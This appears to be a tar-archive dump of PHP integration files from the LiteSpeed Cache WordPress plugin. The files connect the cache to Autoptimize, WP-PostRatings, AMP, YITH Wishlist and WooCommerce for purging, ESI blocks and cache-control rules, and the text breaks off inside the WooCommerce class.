// phpcs:ignoreFile
/**
 * The Third Party integration with the Autoptimize plugin.
 *
 * @since       1.0.12
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class Autoptimize {

	/**
	 * Detects if Autoptimize is active.
	 *
	 * @since 1.0.12
	 * @access public
	 */
	public static function detect() {
		if (defined('AUTOPTIMIZE_PLUGIN_DIR')) {
			add_action('litespeed_purge_finalize', __CLASS__ . '::purge');
		}
	}

	/**
	 * Purges the cache when Autoptimize's cache is purged.
	 *
	 * @since 1.0.12
	 * @access public
	 */
	public static function purge() {
		if (defined('AUTOPTIMIZE_PURGE') || has_action('shutdown', 'autoptimize_do_cachepurged_action', 11)) {
			do_action('litespeed_purge_all', '3rd Autoptimize');
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/wp-postratings.cls.php000064400000001170151031165260022752 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with the WP-PostRatings plugin.
 *
 * @since       1.1.1
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class WP_PostRatings {

	/**
	 * Detects if plugin is installed.
	 *
	 * @since 1.1.1
	 * @access public
	 */
	public static function detect() {
		if (defined('WP_POSTRATINGS_VERSION')) {
			add_action('rate_post', __CLASS__ . '::flush', 10, 3);
		}
	}

	/**
	 * Purges the cache
	 *
	 * @since 1.1.1
	 * @access public
	 */
	public static function flush( $uid, $post_id, $post_ratings_score ) {
		do_action('litespeed_purge_post', $post_id);
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/amp.cls.php000064400000003532151031165260020532 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with AMP plugin.
 *
 * @since       2.9.8.6
 * @package     LiteSpeed
 * @subpackage  LiteSpeed_Cache/thirdparty
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

use LiteSpeed\API;

class AMP {

	/**
	 * @since 4.2
	 */
	private static function _maybe_amp( $amp_function ) {
		if (is_admin()) {
			return;
		}
		if (!isset($_GET['amp']) && (!function_exists($amp_function) || !$amp_function())) {
			return;
		}

		do_action('litespeed_debug', '[3rd] ❌ AMP disabled page optm/lazy');

		!defined('LITESPEED_NO_PAGEOPTM') && define('LITESPEED_NO_PAGEOPTM', true);
		!defined('LITESPEED_NO_LAZY') && define('LITESPEED_NO_LAZY', true);
		!defined('LITESPEED_NO_OPTM') && define('LITESPEED_NO_OPTM', true);
		// ! defined( 'LITESPEED_GUEST' ) && define( 'LITESPEED_GUEST', false );
	}

	/**
	 * ampforwp_is_amp_endpoint() from Accelerated Mobile Pages
	 *
	 * @since 4.2
	 */
	public static function maybe_acc_mob_pages() {
		self::_maybe_amp('ampforwp_is_amp_endpoint');
	}

	/**
	 * Google AMP fix
	 *
	 * @since 4.2.0.1
	 */
	public static function maybe_google_amp() {
		self::_maybe_amp('amp_is_request');
	}

	/**
	 * CSS async will affect AMP result and
	 * Lazyload will inject JS library which AMP not allowed
	 * need to force set false before load
	 *
	 * @since 2.9.8.6
	 * @access public
	 */
	public static function preload() {
		add_action('wp', __CLASS__ . '::maybe_acc_mob_pages');
		add_action('wp', __CLASS__ . '::maybe_google_amp');

		// amp_is_request() from AMP
		// self::maybe_amp( 'amp_is_request' );
		// add_filter( 'litespeed_can_optm', '__return_false' );
		// do_action( 'litespeed_conf_force', API::O_OPTM_CSS_ASYNC, false );
		// do_action( 'litespeed_conf_force', API::O_MEDIA_LAZY, false );
		// do_action( 'litespeed_conf_force', API::O_MEDIA_IFRAME_LAZY, false );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/yith-wishlist.cls.php000064400000010560151031165260022575 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with the YITH WooCommerce Wishlist plugin.
 *
 * @since       1.1.0
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

use LiteSpeed\Tag;
use LiteSpeed\Conf;
use LiteSpeed\Base;

class Yith_Wishlist {

	const ESI_PARAM_POSTID = 'yith_pid';
	private static $_post_id;

	/**
	 * Detects if YITH WooCommerce Wishlist and WooCommerce are installed.
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public static function detect() {
		if (!defined('WOOCOMMERCE_VERSION') || !defined('YITH_WCWL')) {
			return;
		}
		if (apply_filters('litespeed_esi_status', false)) {
			add_action('litespeed_tpl_normal', __CLASS__ . '::is_not_esi');
			add_action('litespeed_esi_load-yith_wcwl_add', __CLASS__ . '::load_add_to_wishlist');
			add_filter('litespeed_esi_inline-yith_wcwl_add', __CLASS__ . '::inline_add_to_wishlist', 20, 2);

			// hook to add/delete wishlist
			add_action('yith_wcwl_added_to_wishlist', __CLASS__ . '::purge');
			add_action('yith_wcwl_removed_from_wishlist', __CLASS__ . '::purge');
		}
	}

	/**
	 * Purge ESI yith cache when add/remove items
	 *
	 * @since 1.2.0
	 * @access public
	 */
	public static function purge() {
		do_action('litespeed_purge_esi', 'yith_wcwl_add');
	}

	/**
	 * Hooked to the litespeed_is_not_esi_template action.
	 *
	 * If the request is not an ESI request, hook to the add to wishlist button
	 * filter to replace it as an esi block.
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public static function is_not_esi() {
		add_filter('yith_wcwl_add_to_wishlist_params', __CLASS__ . '::add_to_wishlist_params', 999, 2);

		add_filter('yith_wcwl_add_to_wishlisth_button_html', __CLASS__ . '::sub_add_to_wishlist', 999);
	}

	/**
	 * Store the post id for later shortcode usage
	 *
	 * @since  3.4.1
	 */
	public static function add_to_wishlist_params( $defaults, $atts ) {
		self::$_post_id = !empty($atts['product_id']) ? $atts['product_id'] : $defaults['product_id'];

		return $defaults;
	}

	/**
	 * Hooked to the yith_wcwl_add_to_wishlisth_button_html filter.
	 *
	 * The add to wishlist button displays a different output when the item is already in the wishlist/cart.
	 * For this reason, the button must be an ESI block. This function replaces the normal html with the ESI block.
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public static function sub_add_to_wishlist( $template ) {
		$params = array(
			self::ESI_PARAM_POSTID => self::$_post_id,
		);

		$inline_tags  = array( '', rtrim(Tag::TYPE_ESI, '.'), Tag::TYPE_ESI . 'yith_wcwl_add' );
		$inline_tags  = implode(
			',',
			array_map(function ( $val ) {
				return 'public:' . LSWCP_TAG_PREFIX . '_' . $val;
			}, $inline_tags)
		);
		$inline_tags .= ',' . LSWCP_TAG_PREFIX . '_tag_priv';

		do_action('litespeed_esi_combine', 'yith_wcwl_add');

		$inline_params = array(
			'val' => $template,
			'tag' => $inline_tags,
			'control' => 'private,no-vary,max-age=' . Conf::cls()->conf(Base::O_CACHE_TTL_PRIV),
		);

		return apply_filters('litespeed_esi_url', 'yith_wcwl_add', 'YITH ADD TO WISHLIST', $params, 'private,no-vary', false, false, false, $inline_params);
	}

	/**
	 * Hooked to the litespeed_esi_load-yith_wcwl_add action.
	 *
	 * This will load the add to wishlist button html for output.
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public static function load_add_to_wishlist( $params ) {
		// global $post, $wp_query;
		// $post = get_post( $params[ self::ESI_PARAM_POSTID ] );
		// $wp_query->setup_postdata( $post );
		echo \YITH_WCWL_Shortcode::add_to_wishlist(array( 'product_id' => $params[self::ESI_PARAM_POSTID] ));
		do_action('litespeed_control_set_private', 'yith wishlist');
		do_action('litespeed_vary_no');
	}

	/**
	 * Generate ESI inline value
	 *
	 * @since  3.4.2
	 */
	public static function inline_add_to_wishlist( $res, $params ) {
		if (!is_array($res)) {
			$res = array();
		}

		$pid = $params[self::ESI_PARAM_POSTID];

		$res['val'] = \YITH_WCWL_Shortcode::add_to_wishlist(array( 'product_id' => $pid ));

		$res['control'] = 'private,no-vary,max-age=' . Conf::cls()->conf(Base::O_CACHE_TTL_PRIV);

		$inline_tags  = array( '', rtrim(Tag::TYPE_ESI, '.'), Tag::TYPE_ESI . 'yith_wcwl_add' );
		$inline_tags  = implode(
			',',
			array_map(function ( $val ) {
				return 'public:' . LSWCP_TAG_PREFIX . '_' . $val;
			}, $inline_tags)
		);
		$inline_tags .= ',' . LSWCP_TAG_PREFIX . '_tag_priv';

		$res['tag'] = $inline_tags;

		return $res;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/woocommerce.cls.php000064400000060527151031165260022303 0ustar00<?php
// phpcs:ignoreFile

/**
 * The Third Party integration with the WooCommerce plugin.
 *
 * @since         1.0.5
 * @since  1.6.6 Added function_exists check for compatibility
 * @package       LiteSpeed
 * @subpackage    LiteSpeed_Cache/thirdparty
 */

namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

use LiteSpeed\API;
use LiteSpeed\Base;
use LiteSpeed\ESI;

class WooCommerce extends Base {

	const O_CACHE_TTL_FRONTPAGE = Base::O_CACHE_TTL_FRONTPAGE;

	const CACHETAG_SHOP     = 'WC_S';
	const CACHETAG_TERM     = 'WC_T.';
	const O_UPDATE_INTERVAL = 'wc_update_interval';
	const O_CART_VARY       = 'wc_cart_vary';
	const O_PQS_CS          = 0; // flush product on quantity + stock change, categories on stock change
	const O_PS_CS           = 1; // flush product and categories on stock change
	const O_PS_CN           = 2; // flush product on stock change, categories no flush
	const O_PQS_CQS         = 3; // flush product and categories on quantity + stock change

	const ESI_PARAM_ARGS    = 'wc_args';
	const ESI_PARAM_POSTID  = 'wc_post_id';
	const ESI_PARAM_NAME    = 'wc_name';
	const ESI_PARAM_PATH    = 'wc_path';
	const ESI_PARAM_LOCATED = 'wc_located';

	private $esi_enabled;

	/**
	 * Detects if WooCommerce is installed.
	 *
	 * @since 1.0.5
	 * @access public
	 */
	public static function detect() {
		if (!defined('WOOCOMMERCE_VERSION')) {
			return;
		}

		self::cls()->add_hooks();
	}

	/**
	 * Add hooks to woo actions
	 *
	 * @since  1.6.3
	 * @access public
	 */
	public function add_hooks() {
		$this->_option_append();

		$this->esi_enabled = apply_filters('litespeed_esi_status', false);

		add_action('litespeed_control_finalize', array( $this, 'set_control' ));
		add_action('litespeed_tag_finalize', array( $this, 'set_tag' ));

		// Purging a product on stock change should only occur during product purchase. This function will add the purging callback when an order is complete.
		add_action('woocommerce_product_set_stock', array( $this, 'purge_product' ));
		add_action('woocommerce_variation_set_stock', array( $this, 'purge_product' )); // #984479 Update variations stock

		add_action('comment_post', array( $this, 'add_review' ), 10, 3);

		if ($this->esi_enabled) {
			if (function_exists('is_shop') && !is_shop()) {
				add_action('litespeed_tpl_normal', array( $this, 'set_block_template' ));
				// No need for add-to-cart button
				// add_action( 'litespeed_esi_load-wc-add-to-cart-form', array( $this, 'load_add_to_cart_form_block' ) ) ;

				add_action('litespeed_esi_load-storefront-cart-header', array( $this, 'load_cart_header' ));
				add_action('litespeed_esi_load-widget', array( $this, 'register_post_view' ));
			}

			if (function_exists('is_product') && is_product()) {
				add_filter('litespeed_esi_params', array( $this, 'add_post_id' ), 10, 2);
			}

			// #612331 - remove WooCommerce geolocation redirect on ESI page (PR#708)
			if (!empty($_GET[ESI::QS_ACTION]) && !empty($_GET[ESI::QS_PARAMS])) {
				remove_action( 'template_redirect', array( 'WC_Cache_Helper', 'geolocation_ajax_redirect' ), 10 );
			}
		}

		if (is_admin()) {
			add_action('litespeed_api_purge_post', array( $this, 'backend_purge' )); // todo
			add_action('delete_term_relationships', array( $this, 'delete_rel' ), 10, 2);
			add_action('litespeed_settings_tab', array( $this, 'settings_add_tab' ));
			add_action('litespeed_settings_content', array( $this, 'settings_add_content' ));
			add_filter('litespeed_widget_default_options', array( $this, 'wc_widget_default' ), 10, 2);
		}

		if (apply_filters('litespeed_conf', self::O_CART_VARY)) {
			add_filter('litespeed_vary_cookies', function ( $list ) {
				$list[] = 'woocommerce_cart_hash';
				return array_unique($list);
			});
		}
	}

	/**
	 * Purge esi private tag
	 *
	 * @since  1.6.3
	 * @access public
	 */
	public function purge_esi() {
		do_action('litespeed_debug', '3rd woo purge ESI in action: ' . current_filter());
		do_action('litespeed_purge_private_esi', 'storefront-cart-header');
	}

	/**
	 * Purge private all
	 *
	 * @since  3.0
	 * @access public
	 */
	public function purge_private_all() {
		do_action('litespeed_purge_private_all');
	}

	/**
	 * Check if need to give an ESI block for cart
	 *
	 * @since  1.7.2
	 * @access public
	 */
	public function check_if_need_esi( $template ) {
		if ($this->vary_needed()) {
			do_action('litespeed_debug', 'API: 3rd woo added ESI');
			add_action('litespeed_tpl_normal', array( $this, 'set_swap_header_cart' ));
		}

		return $template;
	}

	/**
	 * Keep vary on if cart is not empty
	 *
	 * @since  1.7.2
	 * @access public
	 */
	public function vary_maintain( $vary ) {
		if ($this->vary_needed()) {
			do_action('litespeed_debug', 'API: 3rd woo added vary due to cart not empty');
			$vary['woo_cart'] = 1;
		}

		return $vary;
	}

	/**
	 * Check if vary need to be on based on cart
	 *
	 * @since  1.7.2
	 * @access private
	 */
	private function vary_needed() {
		if (!function_exists('WC')) {
			return false;
		}

		$woocom = WC();
		if (!$woocom) {
			return false;
		}

		if (is_null($woocom->cart)) {
			return false;
		}
		return $woocom->cart->get_cart_contents_count() > 0;
	}

	/**
	 * Hooked to the litespeed_is_not_esi_template action.
	 * If the request is not an esi request, I want to set my own hook in woocommerce_before_template_part to see if it's something I can ESI.
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function set_block_template() {
		add_action('woocommerce_before_template_part', array( $this, 'block_template' ), 999, 4);
	}

	/**
	 * Hooked to the litespeed_is_not_esi_template action.
	 * If the request is not an esi request, I want to set my own hook
	 * in storefront_header to see if it's something I can ESI.
	 *
	 * Will remove storefront_header_cart in storefront_header.
	 *
	 * @since 1.1.0
	 * @since 1.6.3 Removed static
	 * @access public
	 */
	public function set_swap_header_cart() {
		$priority = has_action('storefront_header', 'storefront_header_cart');
		if ($priority !== false) {
			remove_action('storefront_header', 'storefront_header_cart', $priority);
			add_action('storefront_header', array( $this, 'esi_cart_header' ), $priority);
		}
	}

	/**
	 * Hooked to the woocommerce_before_template_part action.
	 * Checks if the template contains 'add-to-cart'. If so, and if I want to ESI the request, block it and build my esi code block.
	 *
	 * The function parameters will be passed to the esi request.
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function block_template( $template_name, $template_path, $located, $args ) {
		if (strpos($template_name, 'add-to-cart') === false) {
			if (strpos($template_name, 'related.php') !== false) {
				remove_action('woocommerce_before_template_part', array( $this, 'block_template' ), 999);
				add_filter('woocommerce_related_products_args', array( $this, 'add_related_tags' ));
				add_action('woocommerce_after_template_part', array( $this, 'end_template' ), 999);
			}
			return;
		}
		return;

		// todo: wny not use?

		global $post;
		$params = array(
			self::ESI_PARAM_ARGS => $args,
			self::ESI_PARAM_NAME => $template_name,
			self::ESI_PARAM_POSTID => $post->ID,
			self::ESI_PARAM_PATH => $template_path,
			self::ESI_PARAM_LOCATED => $located,
		);
		add_action('woocommerce_after_add_to_cart_form', array( $this, 'end_form' ));
		add_action('woocommerce_after_template_part', array( $this, 'end_form' ), 999);
		echo apply_filters('litespeed_esi_url', 'wc-add-to-cart-form', 'WC_CART_FORM', $params);
		echo apply_filters('litespeed_clean_wrapper_begin', '');
	}

	/**
	 * Hooked to the woocommerce_after_add_to_cart_form action.
	 * If this is hit first, clean the buffer and remove this function and
	 * end_template.
	 *
	 * @since 1.1.0
	 * @since 1.6.3 Removed static
	 * @access public
	 */
	public function end_form( $template_name = '' ) {
		if (!empty($template_name) && strpos($template_name, 'add-to-cart') === false) {
			return;
		}
		echo apply_filters('litespeed_clean_wrapper_end', '');
		remove_action('woocommerce_after_add_to_cart_form', array( $this, 'end_form' ));
		remove_action('woocommerce_after_template_part', array( $this, 'end_form' ), 999);
	}

	/**
	 * If related products are loaded, need to add the extra product ids.
	 *
	 * The page will be purged if any of the products are changed.
	 *
	 * @since 1.1.0
	 * @since 1.6.3 Removed static
	 * @access public
	 * @param array $args The arguments used to build the related products section.
	 * @return array The unchanged arguments.
	 */
	public function add_related_tags( $args ) {
		if (empty($args) || !isset($args['post__in'])) {
			return $args;
		}
		$related_posts = $args['post__in'];
		foreach ($related_posts as $related) {
			do_action('litespeed_tag_add_post', $related);
		}
		return $args;
	}

	/**
	 * Hooked to the woocommerce_after_template_part action.
	 * If the template contains 'add-to-cart', clean the buffer.
	 *
	 * @since 1.1.0
	 * @since 1.6.3 Removed static
	 * @access public
	 * @param type $template_name
	 */
	public function end_template( $template_name ) {
		if (strpos($template_name, 'related.php') !== false) {
			remove_action('woocommerce_after_template_part', array( $this, 'end_template' ), 999);
			$this->set_block_template();
		}
	}

	/**
	 * Hooked to the storefront_header header.
	 * If I want to ESI the request, block it and build my esi code block.
	 *
	 * @since 1.1.0
	 * @since 1.6.3 Removed static
	 * @access public
	 */
	public function esi_cart_header() {
		echo apply_filters('litespeed_esi_url', 'storefront-cart-header', 'STOREFRONT_CART_HEADER');
	}

	/**
	 * Hooked to the litespeed_esi_load-storefront-cart-header action.
	 * Generates the cart header for esi display.
	 *
	 * @since 1.1.0
	 * @since 1.6.3 Removed static
	 * @access public
	 */
	public function load_cart_header() {
		storefront_header_cart();
	}

	/**
	 * Hooked to the litespeed_esi_load-wc-add-to-cart-form action.
	 * Parses the esi input parameters and generates the add to cart form
	 * for esi display.
	 *
	 * @since 1.1.0
	 * @since 1.6.3 Removed static
	 * @access public
	 * @global type $post
	 * @global type $wp_query
	 * @param type $params
	 */
	public function load_add_to_cart_form_block( $params ) {
		global $post, $wp_query;
		$post = get_post($params[self::ESI_PARAM_POSTID]);
		$wp_query->setup_postdata($post);
		function_exists('wc_get_template') && wc_get_template($params[self::ESI_PARAM_NAME], $params[self::ESI_PARAM_ARGS], $params[self::ESI_PARAM_PATH]);
	}

	/**
	 * Update woocommerce when someone visits a product and has the
	 * recently viewed products widget.
	 *
	 * Currently, this widget should not be cached.
	 *
	 * @since 1.1.0
	 * @since 1.6.3 Removed static
	 * @access public
	 * @param array $params Widget parameter array
	 */
	public function register_post_view( $params ) {
		if ($params[API::PARAM_NAME] !== 'WC_Widget_Recently_Viewed') {
			return;
		}
		if (!isset($params[self::ESI_PARAM_POSTID])) {
			return;
		}
		$id       = $params[self::ESI_PARAM_POSTID];
		$esi_post = get_post($id);
		$product  = function_exists('wc_get_product') ? wc_get_product($esi_post) : false;

		if (empty($product)) {
			return;
		}

		global $post;
		$post = $esi_post;
		function_exists('wc_track_product_view') && wc_track_product_view();
	}

	/**
	 * Adds the post id to the widget ESI parameters for the Recently Viewed widget.
	 *
	 * This is needed in the ESI request to update the cookie properly.
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function add_post_id( $params, $block_id ) {
		if ($block_id == 'widget') {
			if ($params[API::PARAM_NAME] == 'WC_Widget_Recently_Viewed') {
				$params[self::ESI_PARAM_POSTID] = get_the_ID();
			}
		}

		return $params;
	}

	/**
	 * Hooked to the litespeed_widget_default_options filter.
	 *
	 * The recently viewed widget must be esi to function properly.
	 * This function will set it to enable and no cache by default.
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function wc_widget_default( $options, $widget ) {
		if (!is_array($options)) {
			return $options;
		}
		$widget_name = get_class($widget);
		if ($widget_name === 'WC_Widget_Recently_Viewed') {
			$options[API::WIDGET_O_ESIENABLE] = API::VAL_ON2;
			$options[API::WIDGET_O_TTL]       = 0;
		} elseif ($widget_name === 'WC_Widget_Recent_Reviews') {
			$options[API::WIDGET_O_ESIENABLE] = API::VAL_ON;
			$options[API::WIDGET_O_TTL]       = 86400;
		}
		return $options;
	}

	/**
	 * Set WooCommerce cache tags based on page type.
	 *
	 * @since 1.0.9
	 * @since 1.6.3 Removed static
	 * @access public
	 */
	public function set_tag() {
		$id = get_the_ID();
		if ($id === false) {
			return;
		}

		// Check if product has a cache ttl limit or not
		$sale_from = (int) get_post_meta($id, '_sale_price_dates_from', true);
		$sale_to   = (int) get_post_meta($id, '_sale_price_dates_to', true);
		$now       = current_time('timestamp');
		$ttl       = false;
		if ($sale_from && $now < $sale_from) {
			$ttl = $sale_from - $now;
		} elseif ($sale_to && $now < $sale_to) {
			$ttl = $sale_to - $now;
		}
		if ($ttl && $ttl < apply_filters('litespeed_control_ttl', 0)) {
			do_action('litespeed_control_set_ttl', $ttl, "WooCommerce set scheduled TTL to $ttl");
		}

		if (function_exists('is_shop') && is_shop()) {
			do_action('litespeed_tag_add', self::CACHETAG_SHOP);
		}
		if (function_exists('is_product_taxonomy') && !is_product_taxonomy()) {
			return;
		}
		if (isset($GLOBALS['product_cat']) && is_string($GLOBALS['product_cat'])) {
			// todo: need to check previous woo version to find if its from old woo versions or not!
			$term = get_term_by('slug', $GLOBALS['product_cat'], 'product_cat');
		} elseif (isset($GLOBALS['product_tag']) && is_string($GLOBALS['product_tag'])) {
			$term = get_term_by('slug', $GLOBALS['product_tag'], 'product_tag');
		} else {
			$term = false;
		}

		if ($term === false) {
			return;
		}
		while (isset($term)) {
			do_action('litespeed_tag_add', self::CACHETAG_TERM . $term->term_id);
			if ($term->parent == 0) {
				break;
			}
			$term = get_term($term->parent);
		}
	}

	/**
	 * Check if the page is cacheable according to WooCommerce.
	 *
	 * @since 1.0.5
	 * @since 1.6.3 Removed static
	 * @access public
	 * @param string $esi_id        The ESI block id if a request is an ESI request.
	 * @return boolean              True if cacheable, false if not.
	 */
	public function set_control( $esi_id ) {
		if (!apply_filters('litespeed_control_cacheable', false)) {
			return;
		}

		/**
		 * Avoid possible 500 issue
		 *
		 * @since 1.6.2.1
		 */
		if (!function_exists('WC')) {
			return;
		}

		$woocom = WC();
		if (!$woocom || empty($woocom->session)) {
			return;
		}

		// For later versions, DONOTCACHEPAGE should be set.
		// No need to check uri/qs.
		if (version_compare($woocom->version, '1.4.2', '>=')) {
			if (version_compare($woocom->version, '3.2.0', '<') && defined('DONOTCACHEPAGE') && DONOTCACHEPAGE) {
				do_action('litespeed_control_set_nocache', '3rd party woocommerce not cache by constant');
				return;
			} elseif (version_compare($woocom->version, '2.1.0', '>=')) {
				$err = false;

				if (!function_exists('wc_get_page_id')) {
					return;
				}
				/**
				 * From woo/inc/class-wc-cache-helper.php:prevent_caching()
				 *
				 * @since  1.4
				 */
				$page_ids = array_filter(array( wc_get_page_id('cart'), wc_get_page_id('checkout'), wc_get_page_id('myaccount') ));
				if (isset($_GET['download_file']) || isset($_GET['add-to-cart']) || is_page($page_ids)) {
					$err = 'woo non cacheable pages';
				} elseif (function_exists('wc_notice_count') && wc_notice_count() > 0) {
					$err = 'has wc notice';
				}

				if ($err) {
					do_action('litespeed_control_set_nocache', '3rd party woocommerce not cache due to ' . $err);
					return;
				}
			}
			return;
		}

		$uri     = esc_url($_SERVER['REQUEST_URI']);
		$uri_len = strlen($uri);
		if ($uri_len < 5) {
			return;
		}

		if (in_array($uri, array( 'cart/', 'checkout/', 'my-account/', 'addons/', 'logout/', 'lost-password/', 'product/' ))) {
			// why contains `product`?
			do_action('litespeed_control_set_nocache', 'uri in cart/account/user pages');
			return;
		}

		$qs     = sanitize_text_field($_SERVER['QUERY_STRING']);
		$qs_len = strlen($qs);
		if (!empty($qs) && $qs_len >= 12 && strpos($qs, 'add-to-cart=') === 0) {
			do_action('litespeed_control_set_nocache', 'qs contains add-to-cart');
			return;
		}
	}

	/**
	 * Purge a product page and related pages (based on settings) on checkout.
	 *
	 * @since 1.0.9
	 * @since 1.6.3 Removed static
	 * @access public
	 * @param WC_Product $product
	 */
	public function purge_product( $product ) {
		do_action('litespeed_debug', '[3rd] Woo Purge [pid] ' . $product->get_id());

		$do_purge = function ( $action, $debug = '' ) use ( $product ) {
			$config = apply_filters('litespeed_conf', self::O_UPDATE_INTERVAL);
			if (is_null($config)) {
				$config = self::O_PQS_CS;
			}

			if ($config === self::O_PQS_CQS) {
				$action();
				if ($debug) {
					do_action('litespeed_debug', $debug);
				}
			} elseif ($config !== self::O_PQS_CS && $product->is_in_stock()) {
				do_action('litespeed_debug', '[3rd] Woo No purge needed [option] ' . $config);
				return false;
			} elseif ($config !== self::O_PS_CN && !$product->is_in_stock()) {
				$action();
				if ($debug) {
					do_action('litespeed_debug', $debug);
				}
			}
			return true;
		};

		if (
			!$do_purge(function () use ( $product ) {
				$this->backend_purge($product->get_id());
			})
		) {
			return;
		}

		do_action('litespeed_purge_post', $product->get_id());

		// Check if is variation, purge stock too #984479
		if ($product->is_type('variation')) {
			do_action('litespeed_purge_post', $product->get_parent_id());
		}

		// Check if WPML is enabled ##972971
		if (defined('WPML_PLUGIN_BASENAME')) {
			// Check if it is a variable product and get post/parent ID
			$wpml_purge_id = $product->is_type('variation') ? $product->get_parent_id() : $product->get_id();
			$type          = apply_filters('wpml_element_type', get_post_type($wpml_purge_id));
			$trid          = apply_filters('wpml_element_trid', false, $wpml_purge_id, $type);
			$translations  = apply_filters('wpml_get_element_translations', array(), $trid, $type);
			foreach ($translations as $lang => $translation) {
				do_action('litespeed_debug', '[3rd] Woo WPML purge language: ' . $translation->language_code . ' , post ID: ' . $translation->element_id);
				do_action('litespeed_purge_post', $translation->element_id);
				// use the $translation->element_id as it is post ID of other languages
			}

			// Check other languages category and purge if configured.
			// wp_get_post_terms() only returns default language category ID
			$default_cats = wp_get_post_terms($wpml_purge_id, 'product_cat');
			$languages    = apply_filters('wpml_active_languages', null);

			foreach ($default_cats as $default_cat) {
				foreach ($languages as $language) {
					$tr_cat_id = icl_object_id($default_cat->term_id, 'product_cat', false, $language['code']);
					$do_purge(function () use ( $tr_cat_id ) {
						do_action('litespeed_purge', self::CACHETAG_TERM . $tr_cat_id);
					}, '[3rd] Woo Purge WPML category [language] ' . $language['code'] . ' [cat] ' . $tr_cat_id);
				}
			}
		}
	}

	/**
	 * Delete object-term relationship. If the post is a product and
	 * the term ids array is not empty, will add purge tags to the deleted
	 * terms.
	 *
	 * @since 1.0.9
	 * @since 1.6.3 Removed static
	 * @access public
	 * @param int   $post_id Object ID.
	 * @param array $term_ids An array of term taxonomy IDs.
	 */
	public function delete_rel( $post_id, $term_ids ) {
		if (!function_exists('wc_get_product')) {
			return;
		}

		if (empty($term_ids) || wc_get_product($post_id) === false) {
			return;
		}
		foreach ($term_ids as $term_id) {
			do_action('litespeed_purge', self::CACHETAG_TERM . $term_id);
		}
	}

	/**
	 * Purge a product's categories and tags pages in case they are affected.
	 *
	 * @since 1.0.9
	 * @since 1.6.3 Removed static
	 * @access public
	 * @param int $post_id Post id that is about to be purged
	 */
	public function backend_purge( $post_id ) {
		if (!function_exists('wc_get_product')) {
			return;
		}

		if (!isset($post_id) || wc_get_product($post_id) === false) {
			return;
		}

		$cats = $this->get_cats($post_id);
		if (!empty($cats)) {
			foreach ($cats as $cat) {
				do_action('litespeed_purge', self::CACHETAG_TERM . $cat);
			}
		}

		if (!function_exists('wc_get_product_terms')) {
			return;
		}

		$tags = wc_get_product_terms($post_id, 'product_tag', array( 'fields' => 'ids' ));
		if (!empty($tags)) {
			foreach ($tags as $tag) {
				do_action('litespeed_purge', self::CACHETAG_TERM . $tag);
			}
		}
	}

	/**
	 * When a product has a new review added, purge the recent reviews widget.
	 *
	 * @since 1.1.0
	 * @since 1.6.3 Removed static
	 * @access public
	 * @param $unused
	 * @param integer $comment_approved Whether the comment is approved or not.
	 * @param array   $commentdata Information about the comment.
	 */
	public function add_review( $unused, $comment_approved, $commentdata ) {
		if (!function_exists('wc_get_product')) {
			return;
		}

		$post_id = $commentdata['comment_post_ID'];
		if ($comment_approved !== 1 || !isset($post_id) || wc_get_product($post_id) === false) {
			return;
		}

		global $wp_widget_factory;
		if (!isset($wp_widget_factory->widgets['WC_Widget_Recent_Reviews'])) {
			return;
		}

		$recent_reviews = $wp_widget_factory->widgets['WC_Widget_Recent_Reviews'];
		if (!is_null($recent_reviews)) {
			do_action('litespeed_tag_add_widget', $recent_reviews->id);
		}
	}

	/**
	 * Append new options
	 *
	 * @since 1.6.3 Removed static
	 * @since  3.0 new API
	 */
	private function _option_append() {
		// Append option save value filter
		do_action('litespeed_conf_multi_switch', self::O_UPDATE_INTERVAL, 3); // This need to be before conf_append

		do_action('litespeed_conf_append', self::O_UPDATE_INTERVAL, false);
		do_action('litespeed_conf_append', self::O_CART_VARY, false);
	}

	/**
	 * Hooked to `litespeed_settings_tab` action.
	 * Adds the integration configuration options (currently, to determine purge rules)
	 *
	 * @since 1.6.3 Removed static
	 */
	public function settings_add_tab( $setting_page ) {
		if ($setting_page != 'cache') {
			return;
		}

		require 'woocommerce.tab.tpl.php';
	}

	/**
	 * Hook to show config content
	 *
	 * @since  3.0
	 */
	public function settings_add_content( $setting_page ) {
		if ($setting_page != 'cache') {
			return;
		}

		require 'woocommerce.content.tpl.php';
	}

	/**
	 * Helper function to select the function(s) to use to get the product
	 * category ids.
	 *
	 * @since 1.0.10
	 * @since 1.6.3 Removed static
	 * @access private
	 * @param int $product_id The product id
	 * @return array An array of category ids.
	 */
	private function get_cats( $product_id ) {
		if (!function_exists('WC')) {
			return;
		}

		$woocom = WC();
		if (isset($woocom) && version_compare($woocom->version, '2.5.0', '>=') && function_exists('wc_get_product_cat_ids')) {
			return wc_get_product_cat_ids($product_id);
		}
		$product_cats = wp_get_post_terms($product_id, 'product_cat', array( 'fields' => 'ids' ));
		foreach ($product_cats as $product_cat) {
			$product_cats = array_merge($product_cats, get_ancestors($product_cat, 'product_cat'));
		}

		return $product_cats;
	}

	/**
	 * 3rd party prepload
	 *
	 * @since  2.9.8.4
	 */
	public static function preload() {
		/**
		 * Auto puge for WooCommerce Advanced Bulk Edit plugin,
		 * Bulk edit hook need to add to preload as it will die before detect.
		 */
		add_action('wp_ajax_wpmelon_adv_bulk_edit', __CLASS__ . '::bulk_edit_purge', 1);
	}

	/**
	 * Auto puge for WooCommerce Advanced Bulk Edit plugin,
	 *
	 * @since  2.9.8.4
	 */
	public static function bulk_edit_purge() {
